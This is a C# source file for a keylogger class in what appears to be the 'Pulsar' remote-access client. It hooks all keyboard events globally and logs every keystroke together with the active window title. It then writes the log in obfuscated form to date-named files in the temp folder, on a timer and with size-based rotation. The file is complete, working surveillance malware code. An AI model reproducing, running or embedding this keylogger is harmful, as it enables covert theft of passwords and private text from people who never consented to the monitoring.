using Gma.System.MouseKeyHook;
using Pulsar.Client.Extensions;
using Pulsar.Client.Helper;
using Pulsar.Common.Helpers;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Timers;
using System.Windows.Forms;
using Timer = System.Timers.Timer;

namespace Pulsar.Client.Logging
{
    public class Keylogger : IDisposable
    {
        private readonly long _maxLogFileSize;
        private readonly Timer _flushTimer;
        private readonly object _syncLock = new object();
        private readonly StringBuilder _currentBuffer = new StringBuilder();
        private readonly IKeyboardMouseEvents _events;

        private string _currentWindow = string.Empty;
        private DateTime _lastWindowChange = DateTime.UtcNow;
        private string _logFilePath;
        private bool _isFirstWrite = true;
        private readonly TimeSpan _windowChangeThreshold = TimeSpan.FromSeconds(1);
        public bool IsDisposed { get; private set; }

        public Keylogger(double flushInterval, long maxLogFileSize)
        {
            _maxLogFileSize = maxLogFileSize;
            _events = Hook.GlobalEvents();
            _logFilePath = GetLogFilePath();

            _flushTimer = new Timer(flushInterval);
            _flushTimer.Elapsed += TimerElapsed;
            _flushTimer.AutoReset = true;
        }

        public void Start()
        {
            Subscribe();
            _flushTimer.Start();
        }

        private void Subscribe()
        {
            _events.KeyDown += OnKeyDown;
            _events.KeyPress += OnKeyPress;
        }

        private void Unsubscribe()
        {
            _events.KeyDown -= OnKeyDown;
            _events.KeyPress -= OnKeyPress;
        }

        private void OnKeyDown(object sender, KeyEventArgs e)
        {
            string newWindow = NativeMethodsHelper.GetForegroundWindowTitle() ?? "Unknown Window";

            lock (_syncLock)
            {
                bool windowChanged = newWindow != _currentWindow;
                bool enoughTimePassed = DateTime.UtcNow - _lastWindowChange > _windowChangeThreshold;

                // Check if window changed significantly
                if (windowChanged && enoughTimePassed)
                {
                    _currentWindow = newWindow;
                    _lastWindowChange = DateTime.UtcNow;

                    // Start a fresh line for the new window
                    if (_currentBuffer.Length > 0 && !_currentBuffer.ToString().EndsWith(Environment.NewLine))
                        _currentBuffer.AppendLine();

                    // Append window header cleanly
                    _currentBuffer.AppendLine($"[{DateTime.UtcNow:HH:mm:ss}] {newWindow}");
                }

                HandleSpecialKey(e);
            }
        }

        private void HandleSpecialKey(KeyEventArgs e)
        {
            switch (e.KeyCode)
            {
                case Keys.Enter:
                    _currentBuffer.AppendLine();
                    break;
                case Keys.Back:
                    HandleBackspace();
                    break;
                case Keys.Space:
                    _currentBuffer.Append(' ');
                    break;
                case Keys.Tab:
                    _currentBuffer.Append("\t");
                    break;
                case Keys.Escape:
                    _currentBuffer.Append("[Esc]");
                    break;
                case Keys.Delete:
                    _currentBuffer.Append("[Del]");
                    break;
                case Keys.Up:
                case Keys.Down:
                case Keys.Left:
                case Keys.Right:
                    // Ignore arrow keys to reduce noise
                    break;
                case Keys.LControlKey:
                case Keys.RControlKey:
                case Keys.LShiftKey:
                case Keys.RShiftKey:
                case Keys.LMenu:
                case Keys.RMenu:
                case Keys.LWin:
                case Keys.RWin:
                    // Ignore modifier keys alone
                    break;
                default:
                    // Log function keys
                    if (e.KeyCode >= Keys.F1 && e.KeyCode <= Keys.F24)
                    {
                        _currentBuffer.Append($"[{e.KeyCode}]");
                    }
                    break;
            }
        }

        private void HandleBackspace()
        {
            if (_currentBuffer.Length > 0)
            {
                // Remove last character if it's not part of a window header
                char lastChar = _currentBuffer[_currentBuffer.Length - 1];
                if (lastChar != '\n' && lastChar != '\r' && lastChar != ']')
                {
                    _currentBuffer.Length--;
                }
            }
        }

        private void OnKeyPress(object sender, KeyPressEventArgs e)
        {
            lock (_syncLock)
            {
                if (!char.IsControl(e.KeyChar))
                    _currentBuffer.Append(e.KeyChar);
                else if (e.KeyChar == '\r') // Enter key
                    _currentBuffer.AppendLine();
            }
        }

        private void TimerElapsed(object sender, ElapsedEventArgs e)
        {
            try
            {
                FlushToFile();
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"Keylogger flush error: {ex.Message}");
            }
        }

        private void FlushToFile()
        {
            lock (_syncLock)
            {
                if (_currentBuffer.Length == 0) return;

                string contentToWrite = _currentBuffer.ToString();
                _currentBuffer.Clear();

                WriteToFile(contentToWrite);
            }
        }

        private void WriteToFile(string content)
        {
            if (string.IsNullOrWhiteSpace(content)) return;

            try
            {
                // Write using the obfuscated log helper (handles compression + framing)
                FileHelper.WriteObfuscatedLogFile(_logFilePath, content + Environment.NewLine);

                // Check file size
                FileInfo info = new FileInfo(_logFilePath);
                if (info.Length > _maxLogFileSize)
                {
                    RotateLogFile();
                }

                _isFirstWrite = false; // mark that we’ve written at least once
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"Log file write error: {ex.Message}");
            }
        }

        private void RotateLogFile()
        {
            try
            {
                string baseName = DateTime.UtcNow.ToString("yyyy-MM-dd");
                string basePath = Path.Combine(Path.GetTempPath(), baseName);
                string newFilePath = basePath + ".txt";

                int counter = 1;
                while (File.Exists(newFilePath))
                {
                    newFilePath = $"{basePath}_{counter:00}.txt";
                    counter++;
                }

                _logFilePath = newFilePath;
                _isFirstWrite = true;
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"Log rotation error: {ex.Message}");
            }
        }

        private string GetLogFilePath()
        {
            return Path.Combine(Path.GetTempPath(), DateTime.UtcNow.ToString("yyyy-MM-dd") + ".txt");
        }

        public void FlushImmediately()
        {
            FlushToFile();
        }

        public void Dispose()
        {
            Dispose(true);
            GC.SuppressFinalize(this);
        }

        protected virtual void Dispose(bool disposing)
        {
            if (IsDisposed) return;

            if (disposing)
            {
                try
                {
                    FlushToFile();
                    Unsubscribe();
                    _flushTimer.Stop();
                    _flushTimer.Dispose();
                    _events.Dispose();
                    _currentBuffer.Clear();
                }
                catch (Exception ex)
                {
                    Debug.WriteLine($"Dispose error: {ex.Message}");
                }
            }

            IsDisposed = true;
        }
    }
}